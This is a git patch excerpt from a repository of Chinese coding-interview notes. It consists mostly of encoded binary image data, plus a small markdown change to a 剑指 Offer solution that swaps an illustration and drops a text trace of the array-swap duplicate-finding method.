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
Rl(YWk|C|4B{{N5s{||p&oNWLA

literal 0
HcmV?d00001

diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index b30c78c4..e63bcb23 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -116,18 +116,8 @@ Output:
 
 以 (2, 3, 1, 0, 2, 5) 为例，遍历到位置 4 时，该位置上的数为 2，但是第 2 个位置上已经有一个 2 的值了，因此可以知道 2 重复：
 
-<div align="center"> <img src="pics/1.gif" width="350px"> </div><br>
+<div align="center"> <img src="pics/11548084848123.gif" width="250px"> </div><br>
 
-```text
-position-0 : (2,3,1,0,2,5) // 2 <-> 1
-             (1,3,2,0,2,5) // 1 <-> 3
-             (3,1,2,0,2,5) // 3 <-> 0
-             (0,1,2,3,2,5) // already in position
-position-1 : (0,1,2,3,2,5) // already in position
-position-2 : (0,1,2,3,2,5) // already in position
-position-3 : (0,1,2,3,2,5) // already in position
-position-4 : (0,1,2,3,2,5) // nums[i] == nums[nums[i]], exit
-```
 
 ```java
 public boolean duplicate(int[] nums, int length, int[] duplication) {

From c527a32f9dc8b5ab616b85dec68f8cd2010918d5 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Mon, 21 Jan 2019 23:43:27 +0800
Subject: [PATCH 032/100] auto commit

---
 docs/pics/1.gif                                 | Bin 0 -> 19456 bytes
 docs/pics/11548084848123.gif                    | Bin 0 -> 25600 bytes
 .../d5d3b7ae-2712-412e-98f1-633ce6ec5955.png    | Bin 0 -> 29696 bytes
 3 files changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 docs/pics/1.gif
 create mode 100644 docs/pics/11548084848123.gif
 create mode 100644 docs/pics/d5d3b7ae-2712-412e-98f1-633ce6ec5955.png

diff --git a/docs/pics/1.gif b/docs/pics/1.gif
new file mode 100644
index 0000000000000000000000000000000000000000..fd2173a57a0499ab0f0e38d65a595dab42c8fa28
GIT binary patch
literal 19456
zcmeI42UOGBy6sm&OF$8%1qA6uY=8v>mC&118(^cTG(|v#P=o*hLJ_IbyYwQxcMw7`
zutgD3iUJaff{0Rux7h5x@80L!aqf9zoO{Q8=eb4(CH=pW^{x5+=1kNyRAo+>P9Rpn
z5`Y5<z%DfPE><*?Fb9j2kg)tAnbR`LI;y(o^^DBTEFJIOedOivBor4F>hJ$3#ydE{
zDJa!EFkdaOPB!S7Y;e1LXt!!4`Fz4li>$$WPlr58hW*Olg;otFRQ{4$){#}(oLAOZ
zR8e11+f>=oUG>ZR+Tr=C(Z!1Q-^xe7m%m@C{IFCrzFar4+%&P=KJoqe#KOyup9elp
z4^C3vPD~6=OuU`=`1a$};N<+^<jUaW+SZBk>uGBBw?DT3rL2AWvh?lir^SV-#f8bm
